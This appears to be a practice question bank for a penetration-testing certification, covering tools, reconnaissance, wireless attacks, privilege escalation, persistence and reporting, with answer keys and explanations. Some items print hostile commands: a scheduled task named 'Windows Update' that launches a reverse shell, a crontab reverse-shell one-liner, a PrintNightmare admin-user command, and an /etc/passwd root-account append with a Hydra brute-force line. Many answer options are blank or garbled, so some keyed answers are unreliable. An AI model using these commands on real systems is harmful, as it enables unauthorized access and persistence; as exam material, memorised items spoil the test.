A Chief Information Security Officer wants to evaluate the security of the company's e- commerce application. Which of the following tools should a penetration tester use FIRST to obtain relevant information from the application without triggering alarms?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerD
ExplanationOWASP ZAP can operate as an intercepting web proxy, allowing the tester to observe the application's normal requests, responses, parameters, and session behavior before beginning intrusive tests. Starting with this passive collection produces relevant application information with less risk of alarms. Exploitation, forced directory discovery, and active scanning are more aggressive follow-on activities.
A penetration tester wants to create a malicious QR code to assist with a physical security assessment. Which of the following tools has the built-in functionality most likely needed for this task?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationBeEF focuses on browser-based social engineering and includes functionality suited to creating delivery mechanisms such as a malicious QR code that directs a target to controlled web content. Scanning the code can bring the victim's browser into the assessment path, where BeEF can exercise browser-side hooks.
A penetration tester is evaluating a SCADA system. The tester receives local access to a workstation that is running a single application. While navigating through the application, the tester opens a terminal window and gains access to the underlying operating system. Which of the following attacks is the tester performing?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationThe workstation exposes only a restricted application, but the tester uses that application to reach a terminal and the underlying operating system. Breaking out of a constrained, kiosk-style interface into unrestricted system functionality is a kiosk escape. Arbitrary code execution concerns running unintended code, while process hollowing and library injection are techniques for manipulating processes.
A client evaluating a penetration testing company requests examples of its work. Which of the following represents the BEST course of action for the penetration testers?
-
A
Redact identifying information and provide a previous customer's documentation.
-
B
Allow the client to only view the information while in secure spaces.
-
C
Determine which reports are no longer under a period of confidentiality.
-
D
Provide raw output from penetration testing tools.
Reveal answer details
Close answer details
Correct answerC
ExplanationCustomer assessment reports remain governed by their confidentiality obligations even when identifying details could be removed. The testing company should first determine which reports are no longer within a confidentiality period and are therefore eligible to be considered as work examples. Merely limiting where a report is viewed or providing raw tool output does not resolve the underlying disclosure obligation.
During a wireless penetration assessment for a small business client, a tester attempts to capture wireless packets. However, whenever the tester sets the capture device to monitor mode, it fails to see the client ' s wireless network, as provided by the scope. Which of the following is the most likely reason for this issue?
-
A
The client ' s network uses 6GHz and not 5GHz/2.4GHz.
-
B
The tester misconfigured the capture device.
-
C
The client provided the wrong SSID for the network.
-
D
The tester is not using Aircrack-ng.
Reveal answer details
Close answer details
Correct answerA
ExplanationMonitor mode alone does not give a capture device access to radio bands that its hardware cannot receive. If the scoped network operates in the 6GHz band while the adapter supports only 2.4GHz and 5GHz, the interface can enter monitor mode yet never detect that network. Changing capture software cannot add unsupported radio capability, and an incorrect SSID would not prevent detection of nearby transmissions.
A penetration tester is taking screen captures of hashes obtained from a domain controller. Which of the following best explains why the penetration tester should immediately obscure portions of the images before saving?
-
A
To maintain confidentiality of data/information
-
B
To avoid disclosure of how the hashes were obtained
-
C
To make the hashes appear shorter and easier to crack
-
D
To prevent analysis based on the type of hash
Reveal answer details
Close answer details
Correct answerA
ExplanationCaptured password hashes remain sensitive because they can support offline password recovery and may expose account-related information. Obscuring relevant portions before saving the captures minimizes the sensitive material retained in evidence and helps maintain confidentiality of client data. The purpose is protection of the information, not changing the hash's cryptographic strength or hiding the assessment method.
A tester wants to pivot from a compromised host to another network with encryption and the least amount of interaction with the compromised host. Which of the following is the best way to accomplish this objective?
-
A
Create an SSH tunnel using sshuttle to forward all the traffic to the compromised computer.
-
B
Configure a VNC server on the target network and access the VNC server from the compromised computer.
-
C
Set up a Metasploit listener on the compromised computer and create a reverse shell on the target network.
-
D
Create a Netcat connection to the compromised computer and forward all the traffic to the target network.
Reveal answer details
Close answer details
Correct answerA
ExplanationAn SSH tunnel created with sshuttle routes network traffic through the compromised host while protecting the connection with SSH encryption. Once the tunnel is established, the tester can reach the otherwise inaccessible network without repeatedly operating an interactive desktop or shell on that host. This meets both the encryption and low-interaction requirements.
Which of the following tools can a penetration tester use to brute force a user password over SSH using multiple threads?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerD
ExplanationHydra performs online authentication guessing against network services, including SSH, and can run multiple login attempts concurrently through parallel tasks. That makes it suited to brute forcing a user's SSH password when the activity is authorized. CeWL generates wordlists, while John the Ripper and Hashcat primarily test captured password hashes offline rather than logging in to SSH.
During the reconnaissance phase, a penetration tester collected the following information from the DNS records: A-----> www
A-----> host
TXT --> vpn.comptia.org
SPF---> ip =2.2.2.2 Which of the following DNS records should be in place to avoid phishing attacks using spoofing domain techniques?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationDMARC establishes a domain-level email authentication policy and tells receiving systems how to handle messages that fail aligned SPF or DKIM checks. This helps prevent an attacker from successfully sending phishing email that falsely presents the protected domain as its authenticated sender.
Question 10
Single choice
A penetration tester uses a Python script to scan web servers. The script loops through ports including 443, 80, and 8080, but constructs every request using http://. The script fails during execution. Which of the following should the tester do?
-
A
Move the port loop above the address loop.
-
B
Put response.status_code into a separate variable before printing it.
-
C
Change every GET request to a POST request.
-
D
Add an if statement that uses HTTPS when connecting to port 443.
Reveal answer details
Close answer details
Correct answerD
ExplanationPort 443 is the conventional TLS-protected web service port, so a request built with the unsecured HTTP scheme uses the wrong protocol for that endpoint. Adding a conditional statement lets the script use HTTPS when connecting to port 443 while retaining HTTP for ports intended to accept it, preventing the protocol mismatch during the scan.
Question 11
Single choice
During a security assessment, a penetration tester needs to exploit a vulnerability in a wireless network's authentication mechanism to gain unauthorized access to the network. Which of the following attacks would the tester most likely perform to gain access?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationMAC address spoofing changes the address presented by the tester's wireless interface. If the authentication mechanism admits devices according to an approved MAC address, copying an authorized device's address allows the tester to impersonate that device and gain network access. Beacon flooding disrupts discovery, eavesdropping observes traffic, and a KARMA attack targets client network selection rather than this device-address check.
Question 12
Single choice
A penetration tester observes the following output from an Nmap command while attempting to troubleshoot connectivity to a Linux server:  Which of the following is the most likely reason for the connectivity issue?
-
A
The SSH service is running on a different port.
-
B
The SSH service is blocked by a firewall.
-
C
The SSH service requires certificate authentication.
-
D
The SSH service is not active.
Reveal answer details
Close answer details
Correct answerA
ExplanationThe scan reports SSH as open on TCP port 2222, while the customary SSH port 22 is absent from the open-port list. Connectivity attempts directed to port 22 would therefore miss the active service. An open result on 2222 demonstrates that SSH is running on a different port; the scan does not establish certificate requirements, an inactive service, or firewall blocking of that discovered port.
Question 13
Single choice
A consultant starts a network penetration test. The consultant uses a laptop that is hardwired to the network to try to assess the network with the appropriate tools. Which of the following should the consultant engage first?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationBefore examining services or identifying operating systems, the consultant must determine which addresses correspond to live systems on the connected network. Host discovery establishes that initial target set and prevents deeper probes from being directed blindly across every address. Service discovery and OS fingerprinting follow against discovered hosts, while DNS enumeration focuses on names rather than basic reachability.
Question 14
Single choice
With one day left to complete the testing phase of an engagement, a penetration tester obtains the following results from an Nmap scan:  Which of the following tools should the tester use to quickly identify a potential attack path?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerB
ExplanationThe scan identifies specific products and versions, including Apache httpd 2.2.3 and lighttpd 1.4.32. SearchSploit can quickly search an exploit database for known entries associated with those names and versions, helping the tester identify a potential attack path within the remaining day. The other tools generate payloads or target particular application behaviors after a suitable vulnerability has been identified.
Question 15
Single choice
A penetration tester is conducting an unknown environment test and gathering additional information that can be used for later stages of an assessment. Which of the following would most likely produce useful information for additional testing?
-
A
Searching for code repositories associated with a developer who previously worked for the target company code repositories associated with the
-
B
Searching for code repositories target company's organization
-
C
Searching for code repositories associated with the target company's organization
-
D
Searching for code repositories associated with a developer who previously worked for the target company
Reveal answer details
Close answer details
Correct answerC
ExplanationSearching code repositories associated with the target company's organization keeps the search tied directly to the assessed entity. Organization repositories can expose project names, configuration patterns, dependencies, documentation, or accidentally committed secrets that guide later testing. A former developer's repositories have a weaker and potentially outdated relationship to the current environment.
Question 16
Single choice
A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision?
-
A
The tester had the situational awareness to stop the transfer.
-
B
The tester found evidence of prior compromise within the data set.
-
C
The tester completed the assigned part of the assessment workflow.
-
D
The tester reached the end of the assessment time frame.
Reveal answer details
Close answer details
Correct answerA
ExplanationThe permitted proof of concept covered the transfer, but the discovered PII was outside the authorized scope. Situational awareness means recognizing that the conditions have changed during execution and adjusting immediately to remain within the ROE. Stopping the transfer prevented further handling of excluded data; it was not evidence that the assessment or its allotted time had ended.
Question 17
Single choice
During an assessment, a penetration tester manages to get RDP access via a low-privilege user. The tester attempts to escalate privileges by running the following commands: Import-Module .\PrintNightmare.ps1 Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "Print" The tester then attempts to further enumerate the host with the new administrative privileges by using the runas command. However, the access level is still low. Which of the following actions should the penetration tester take next?
-
A
Log off and log on with "hacker".
-
B
Attempt to add another user.
-
C
Bypass the execution policy.
-
D
Add a malicious printer driver.
Reveal answer details
Close answer details
Correct answerA
ExplanationThe privilege-escalation command creates the administrative user named "hacker," but the current RDP session still belongs to the original low-privilege account. Starting a fresh interactive logon with the new account creates a security context associated with its administrative rights. Therefore, the tester should log off and then log on as "hacker" before continuing enumeration.
Question 18
Single choice
Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationA statement of work, or SOW, defines the work to be performed for a particular engagement. It can specify activities, deliverables, milestones, schedules, and responsibilities, giving the tester and client an operational description of the project rather than only confidentiality or general relationship terms.
Question 19
Single choice
A security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerB
ExplanationGattacker is built for Bluetooth Low Energy assessment and can interact with BLE devices and their GATT communications in an on-path testing workflow. That protocol-specific capability allows the analyst to position the tool between a smart device and its peer and examine or manipulate exchanges. Wireshark and tcpdump capture traffic, while Netcat is a general network utility rather than a BLE attack tool.
Question 20
Single choice
During an external penetration test, a tester receives the following output from a tool: test.comptia.org info.comptia.org vpn.comptia.org exam.comptia.org Which of the following commands did the tester most likely run to get these results?
-
A
nslookup -type=SOA comptia.org
-
B
amass enum -passive -d comptia.org
-
C
nmap -Pn -sV -vv -A comptia.org
-
D
Reveal answer details
Close answer details
Correct answerB
ExplanationThe output is a list of subdomains under comptia.org, which is the result expected from passive Amass enumeration. The command specifies enum for discovery, -passive to use non-intrusive information sources, and -d to set the target domain, producing names without directly scanning their services.
Question 21
Single choice
Which of the following components should a penetration tester include in an assessment report?
-
A
-
B
Customer remediation plan
-
C
-
D
Reveal answer details
Close answer details
Correct answerD
ExplanationAn attack narrative documents how the engagement progressed from initial access through later actions, connecting individual findings into the sequence used to reach objectives. This gives the customer context for the demonstrated attack path and the relationships among weaknesses. A customer's future remediation plan is not produced by the tester, while generic user activity and key management are not universal report sections.
Question 22
Single choice
A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationRules of engagement define how testing may be conducted, including prohibited techniques, excluded systems, permitted hours, and other operational boundaries. Testing restrictions therefore belong in the ROE because they directly govern tester behavior and reduce the risk of unauthorized or disruptive activity. Assessment cost and general liability are contractual concerns rather than execution rules.
Question 23
Multiple choice
Which of the following technologies is most likely used with badge cloning? (Select two).
-
A
-
B
-
C
-
D
-
E
-
F
Reveal answer details
Close answer details
Correct answersA, B
ExplanationRFID badges transmit stored identifiers or access credentials by radio, so copying those values can produce a badge that readers treat like the original. NFC provides short-range contactless communication and can be used to read or emulate compatible badge exchanges. Both technologies therefore support badge-cloning scenarios.
Question 24
Single choice
Given the following findings from a network penetration test: - Insecure file-sharing settings allowed for host impersonation. - Confidential information in a shared file was sent in cleartext over the network. - A denial of service was possible due to outdated file-sharing protocols. Which of the following should the penetration tester recommend?
-
A
-
B
Host-based firewall with IPS
-
C
IPSec with Extensible Authentication Protocol
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationSMB 3 with encryption directly protects file-sharing traffic from cleartext disclosure and replaces reliance on outdated SMB versions associated with the denial-of-service exposure. Its modern security capabilities also strengthen the file-sharing channel against manipulation and impersonation risks. A host firewall, file-integrity checks, or unrelated EAP configuration would not address the insecure SMB protocol and exposed data together.
Question 25
Single choice
A penetration tester needs to evaluate the order in which the next systems will be selected for testing. Given the following output: Hostname | IP address | CVSS 2.0 | EPSS hrdatabase | 192.168.20.55 | 9.9 | 0.50 financesite | 192.168.15.99 | 8.0 | 0.01 legaldatabase | 192.168.10.2 | 8.2 | 0.60 fileserver | 192.168.125.7 | 7.6 | 0.90 Which of the following targets should the tester select next?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationEPSS estimates the likelihood that a vulnerability will be exploited, so it is the decisive value when prioritizing the next target by near-term exploitation probability. The fileserver has the highest listed EPSS value at 0.90, despite having a lower CVSS score than some alternatives. It should therefore be selected before targets with lower exploitation likelihood.
Question 26
Single choice
During an assessment, a penetration tester gains access to one of the internal hosts. Given the following command: schtasks /create /sc onlogon /tn "Windows Update" /tr "cmd.exe /c reverse_shell.exe" Which of the following is the penetration tester trying to do with this code?
-
A
Enumerate the scheduled tasks
-
B
-
C
Deactivate the Windows Update functionality
-
D
Create a binary application for Windows System Updates
Reveal answer details
Close answer details
Correct answerB
ExplanationThe schtasks command creates a task named Windows Update that runs a reverse-shell executable whenever a user logs on. That trigger causes attacker-controlled access to return after the current session ends or the host restarts. Reusing a recurring system event to regain execution establishes persistence on the compromised host.
Question 27
Lab simulation
Simulation A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists.  Part 1: Analyze the output and select the command to exploit the vulnerable service. Part 2: Analyze the output from each command. Select the appropriate set of commands to escalate privileges. Identify which remediation steps should be taken. 
Reveal model answer
Close model answer
The command that would most likely exploit the services is: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22 The appropriate set of commands to escalate privileges is: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd The remediations that should be taken after the successful privilege escalation are: Remove the SUID bit from cp. Make backup script not world-writable. Comprehensive Step-by-Step Explanation of the Simulation Part 1: Exploiting Vulnerable Service Nmap Scan Analysis bash Copy code Port State Service 22/tcp open ssh 23/tcp closed telnet 80/tcp open http 111/tcp closed rpcbind 445/tcp open samba 3389/tcp closed rdp Ports open are SSH (22), HTTP (80), and Samba (445). Enumerating Samba Shares makefile Copy code user:[games] rid:[0x3f2] user:[nobody] rid:[0x1f5] user:[bind] rid:[0x4ba] user:[proxy] rid:[0x42] user:[syslog] rid:[0x4ba] user:[www-data] rid:[0x42a] user:[root] rid:[0x3e8] user:[news] rid:[0x3fa] user:[lowpriv] rid:[0x3fa] We identify a user lowpriv. Selecting Exploit Command Executing the Hydra Command Part 2: Privilege Escalation and Remediation Finding SUID Binaries and Configuration Files Selecting Privilege Escalation Command Executing the Privilege Escalation Command Remediation Steps Post-Exploitation Execution and Verification Verifying Hydra Attack: Verifying Privilege Escalation: Implementing Remediation: By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.
Question 28
Single choice
A penetration tester is configuring a vulnerability management solution to perform credentialed scans of an Active Directory server. Which of the following account types should the tester provide to the scanner?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerB
ExplanationA credentialed scan must authenticate with enough access to inspect the Active Directory server's protected configuration, services, and security state. Of the listed account types, a domain administrator supplies the domain-level privileges needed for that comprehensive assessment. A local user or read-only account can leave protected checks inaccessible, and root is a Unix-style account rather than an Active Directory account type.
Question 29
Single choice
A penetration tester successfully gained access to manage resources and services within the company's cloud environment. This was achieved by exploiting poorly secured administrative credentials that had extensive permissions across the network. Which of the following credentials was the tester able to obtain?
-
A
-
B
SSH key for cloud instance
-
C
Cloud storage credentials
-
D
Temporary security credentials (STS)
Reveal answer details
Close answer details
Correct answerA
ExplanationIAM credentials represent an identity whose policies determine access to cloud resources and management operations. If those credentials are poorly secured and assigned extensive permissions, obtaining them can let the tester administer many services across the cloud environment. An instance SSH key is limited to host access, storage credentials target stored objects, and temporary credentials are bounded to an issued session.
Question 30
Single choice
A compliance-based penetration test is primarily concerned with:
-
A
obtaining Pll from the protected network.
-
B
bypassing protection on edge devices.
-
C
determining the efficacy of a specific set of security standards.
-
D
obtaining specific information from the protected network.
Reveal answer details
Close answer details
Correct answerC
ExplanationA compliance-based penetration test measures whether controls required by a defined regulation, policy, or security standard operate effectively in the assessed environment. Its scope and success criteria therefore center on determining the efficacy of that specific control set. Obtaining particular data or bypassing an edge device may be a test step, but it is not the primary compliance objective.
Question 31
Single choice
A penetration tester is performing an assessment focused on attacking the authentication identity provider hosted within a cloud provider. During the reconnaissance phase, the tester finds that the system is using OpenID Connect with OAuth and has dynamic registration enabled. Which of the following attacks should the tester try first?
-
A
A password-spraying attack against the authentication system
-
B
A brute-force attack against the authentication system
-
C
A replay attack against the authentication flow in the system
-
D
A mask attack against the authentication system
Reveal answer details
Close answer details
Correct answerC
ExplanationA replay attack targets the authentication flow by capturing a valid protocol artifact or exchange and presenting it again to obtain an unauthorized result. That approach directly tests whether the OpenID Connect and OAuth flow properly prevents reuse. Password spraying, brute force, and mask attacks instead focus on guessing account passwords.
Question 32
Single choice
A tester runs an Nmap scan against a Windows server and receives the following results: Nmap scan report for win_dns.local (10.0.0.5) Host is up (0.014s latency) Port State Service 53/tcp open domain 161/tcp open snmp 445/tcp open smb-ds 3389/tcp open rdp Which of the following TCP ports should be prioritized for using hash-based relays?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationTCP port 445 exposes SMB, whose authentication commonly uses NTLM challenge-response exchanges. A relay attack can forward captured hash-based authentication material to SMB and attempt to authenticate as the victim without learning the plaintext password. Because the scan reports SMB open on 445, that service is the relevant priority for testing hash-based relays.
Question 33
Single choice
A penetration tester has just started a new engagement. The tester is using a framework that breaks the life cycle into 14 components. Which of the following frameworks is the tester using?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationMITRE ATT&CK organizes adversary behavior into tactic categories representing stages or objectives across an attack life cycle. The framework's enterprise matrix is associated with the 14-component life-cycle description in the question. The other choices serve different purposes, such as mobile application requirements, security-testing methodology, or professional assessment standards.
Question 34
Lab simulation
Simulation A penetration tester performs several Nmap scans against the web application for a client. INSTRUCTIONS Click on the WAF and servers to review the results of the Nmap scans. Then click on each tab to select the appropriate vulnerability and remediation options. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.     
Reveal model answer
Close model answer
Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com. The scenario suggests that the CDN network (with a WAF) can be used to perform a Server-Side Request Forgery (SSRF) attack. Since the penetration tester has the pentester workstation interacting through the CDN/WAF and the production network is behind it, the most plausible attack vector is to exploit SSRF to interact with the internal services like App01.example.com. Two best remediation options: Restrict direct communications to App01.example.com to only approved components. Require an additional authentication header value between CDN.example.com and App01.example.com. Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it. Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors. Nmap Scan Observations: CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer. App Server has open ports for HTTP, HTTPS, and filtered for MySQL. DB Server has all ports filtered, typical for a database server that should not be directly accessible. These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.
Question 35
Single choice
A company hires a penetration tester to perform an external attack surface review as part of a security engagement. The company informs the tester that the main company domain to investigate is comptia.org. Which of the following should the tester do to accomplish the assessment objective?
-
A
Perform information-gathering techniques to review internet-facing assets for the company.
-
B
Perform a phishing assessment to try to gain access to more resources and users' computers.
-
C
Perform a physical security review to identify vulnerabilities that could affect the company.
-
D
Perform a vulnerability assessment over the main domain address provided by the client.
Reveal answer details
Close answer details
Correct answerA
ExplanationAn external attack surface review begins by gathering information about assets exposed through the company's domain. The tester should identify internet-facing hosts, subdomains, services, and related infrastructure associated with comptia.org. Phishing and physical testing are separate activities, while scanning only the supplied domain address would provide an incomplete view of the external footprint.
Question 36
Single choice
A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?
-
A
Enable monitoring mode using Aircrack-ng.
-
B
Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
-
C
Run KARMA to break the password.
-
D
Research WiGLE.net for potential nearby client access points.
Reveal answer details
Close answer details
Correct answerA
ExplanationThe newly attached wireless dongle must capture raw 802.11 management and data frames rather than operate only as a normal client interface. Enabling monitor mode with Aircrack-ng provides that passive capture capability, which is required before collecting WPA2 handshake traffic. Password attacks and access-point research occur later or serve different purposes; they do not prepare the interface for capture.
Question 37
Single choice
Which of the following elements in a lock should be aligned to a specific level to allow the key cylinder to turn?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerB
ExplanationIn a pin-tumbler lock, the key raises the pin stacks until the separation between the key pins and driver pins aligns at the shear line. That alignment removes the obstruction between the plug and the surrounding cylinder, allowing the plug to rotate. The latch and shackle are locking hardware, while the plug is the component that turns rather than the element aligned by the key.
Question 38
Single choice
A penetration tester gains access to the target network and observes a running SSH server. Which of the following techniques should the tester use to obtain the version of SSH running on the target server?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationBanner grabbing connects to the SSH service and reads the identification text exchanged when the session begins. That banner commonly identifies the server implementation and its version, providing the exact information requested. IP scanning locates hosts, while DNS enumeration maps names and does not determine an SSH version.
Question 39
Single choice
Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?
-
A
-
B
-
C
-
D
-
E
Reveal answer details
Close answer details
Correct answerA
ExplanationA dictionary is a collection of candidate alphanumeric values, commonly arranged as one entry per line so a script or penetration-testing program can read each value as input. It can supply usernames, passwords, paths, or other test strings for repeated operations. A directory or symlink organizes filesystem objects, while a for-loop controls iteration rather than storing the input set itself.
Question 40
Single choice
A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?
-
A
schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
-
B
wmic startup get caption,command
-
C
crontab ; echo "@reboot sleep 200 && ncat vp 4242 /bin/bash") | crontab 2>/dev/null
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationThe schtasks command creates a Windows scheduled task whose ONSTART trigger runs C:\Temp\WindowsUpdate.exe when the system starts. That automatic execution provides persistence across a reboot without requiring the tester to launch the program manually again. The WMIC command only lists startup entries, and the other listed commands are not appropriate Windows persistence commands.
Question 41
Single choice
During an engagement, a penetration tester decides to use social engineering to capture MFA. Which of the following tools or configuration commands should the tester use?
-
A
-
B
use phish/domains/o365set SOURCE portal.office.comrun
-
C
wget portal.office.comexport MFA= ' < myphishdomain > '
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationEvilginx operates as an authentication relay between a victim and the legitimate web service. Because the victim completes the real login and MFA flow through that proxy, the tester can capture the resulting authenticated session material and reuse it without repeating the factor challenge. Recon-ng performs reconnaissance, and the displayed shell-like commands do not provide this authentication-proxy mechanism.
Question 42
Single choice
During wireless testing, a penetration tester observes the following customer APs and configurations: SSID / Configuration AP1 - WPA3 AP2 - WPA3 AP3 - WPA2 AP4 - WPA3 Which of the following attacks can the tester use only against AP3?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerD
ExplanationAP3 is the only access point using WPA2, while the others use WPA3. WPA3 requires protected management frames, which protect clients from forged deauthentication management frames. A deauthentication attack is therefore the protocol-specific choice that applies to the WPA2 access point in this set. Jamming and evil-twin techniques are not limited to AP3's configuration.
Question 43
Single choice
A penetration tester is assessing the security of a web application. When the tester attempts to access the application, the tester receives an HTTP 403 response. Which of the following should the penetration tester do to overcome this issue?
-
A
Reset file and folder permissions on the web server.
-
B
Obtain a valid X.509 certificate.
-
C
Spoof the server's MAC address.
-
D
Use a legacy browser to access the page.
Reveal answer details
Close answer details
Correct answerB
ExplanationAn HTTP 403 response means the server received and understood the request but refuses access under its authorization requirements. If the application protects access through client-certificate authentication, obtaining a valid X.509 certificate supplies the identity credential needed to satisfy that control. Changing server permissions, a MAC address, or the browser does not provide that authorization.
Question 44
Single choice
A penetration tester is conducting a vulnerability scan. The tester wants to see any vulnerabilities that may be visible from outside of the organization. Which of the following scans should the penetration tester perform?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationAn unauthenticated scan evaluates targets without supplying internal credentials, so its view resembles what an external party can observe and test. It identifies exposed services and vulnerabilities reachable before authentication. A host-based scan runs from or examines an endpoint, SAST analyzes source code, and a sidecar is an architectural component rather than the external-perspective scan requested.
Question 45
Single choice
A penetration tester is attempting to exfiltrate sensitive data from a client environment without alerting the client's blue team. Which of the following exfiltration methods most likely remain undetected?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationDomain Name System traffic is routinely permitted because clients need it for name resolution. Data can be divided, encoded into query labels, and reconstructed by a receiving DNS system, allowing exfiltration to resemble ordinary lookup activity. Direct transfers to email or storage services are more readily recognized as outbound data movement.
Question 46
Single choice
During an engagement, a penetration tester found some weaknesses that were common across the customer's entire environment. The weaknesses included the following: 1. Weaker password settings than the company standard 2. Systems without the company's endpoint security software installed 3. Operating systems that were not updated by the patch management system. Which of the following recommendations should the penetration tester provide to address the root issue?
-
A
Add all systems to the vulnerability management system.
-
B
Implement a configuration management system.
-
C
Deploy an endpoint detection and response system.
-
D
Patch the out-of-date operating systems.
Reveal answer details
Close answer details
Correct answerB
ExplanationThe findings span password policy, endpoint-security deployment, and operating-system patch state across the environment. A configuration management system addresses their shared root cause by defining desired configurations, applying them consistently, and detecting systems that drift from the standard. Installing one endpoint tool or patching current systems treats only part of the observed inconsistency.
Question 47
Single choice
A penetration tester is conducting an assessment on 192.168.1.112. Given the following output:  Which of the following is the penetration tester conducting?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerB
ExplanationThe activity repeatedly attempts to authenticate to the same target and the same root account while changing the password candidate each time. That systematic guessing pattern is a brute-force attack. Credential stuffing would instead emphasize trying previously obtained username-and-password pairs, while a port scan or denial-of-service attack would not consist of repeated login guesses.
Question 48
Single choice
A penetration tester successfully gains access to a Linux system and then uses the following command: find / -type f -ls > /tmp/recon.txt Which of the following best describes the tester's goal?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationThe find command walks from the filesystem root, selects regular files with -type f, and uses -ls to print detailed metadata such as ownership and permission bits. Redirecting that listing to /tmp/recon.txt creates a file inventory suitable for permission enumeration, including locating files whose access settings may permit reading, writing, or execution.
Question 49
Single choice
A penetration testing firm performs an assessment every six months for the same customer. While performing network scanning for the latest assessment, the penetration tester observes that several of the target hosts appear to be residential connections associated with a major television and ISP in the area. Which of the following is the most likely reason for the observation?
-
A
The penetration tester misconfigured the network scanner.
-
B
The network scanning tooling is not functioning properly.
-
C
The IP ranges changed ownership.
-
D
The network scanning activity is being blocked by a firewall.
Reveal answer details
Close answer details
Correct answerC
ExplanationThe six-month interval matters because public IP address blocks and individual addresses can be reassigned. If the customer's former target ranges changed ownership, scanning the old scope can reach residential subscribers of a local ISP instead of current company hosts. A firewall might block probes, but it would not by itself make the addresses appear to belong to residential connections.
Question 50
Single choice
A penetration tester is conducting an Nmap scan and wants to scan for ports without establishing a connection. The tester also wants to find version information for services running on ports. Which of the following Nmap commands should the tester use?
-
A
nmap -sU -sV -T4 -F target.company.com
-
B
nmap -sS -sV -F target.company.com
-
C
nmap -sT -v -T5 target.company.com
-
D
nmap -sX -sC target.company.com
Reveal answer details
Close answer details
Correct answerB
ExplanationThe -sS option performs a TCP SYN scan, which identifies open ports without completing the full TCP three-way handshake, making it a half-open scan. The -sV option performs service version detection on discovered ports, while -F limits the scan to commonly used ports for faster execution. Together, these options satisfy both the connectionless scanning and service version identification requirements.
Question 51
Single choice
A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?
-
A
nmap -iL results 192.168.0.10-100
-
B
nmap 192.168.0.10-100 -O > results
-
C
nmap -A 192.168.0.10-100 -oX results
-
D
nmap 192.168.0.10-100 | grep "results"
Reveal answer details
Close answer details
Correct answerC
ExplanationThe -oX option instructs Nmap to write scan results in XML format. XML is structured and machine-readable, allowing a centralized security tool to parse hosts, ports, services, and other findings without depending on terminal formatting. Redirecting normal output merely captures human-readable text, while -iL supplies an input list rather than selecting an output format.
Question 52
Single choice
A penetration tester needs to quickly transfer an exploit from a Linux system to a Windows 10 system within the network. Which of the following is the best way to accomplish this task?
-
A
-
B
-
C
python3 -m http.server 80
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationRunning python3 with the http.server module immediately serves files from the current Linux directory over HTTP on port 80. The Windows system can retrieve the exploit with an ordinary HTTP-capable client, making this a simple cross-platform transfer. The listed Netcat listener commands do not by themselves specify or serve the desired file.
Question 53
Single choice
A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?
-
A
Attempting to tailgate an employee going into the client's workplace
-
B
Dropping a malicious USB key with the company's logo in the parking lot
-
C
Using a brute-force attack against the external perimeter to gain a foothold
-
D
Performing spear phishing against employees by posing as senior management
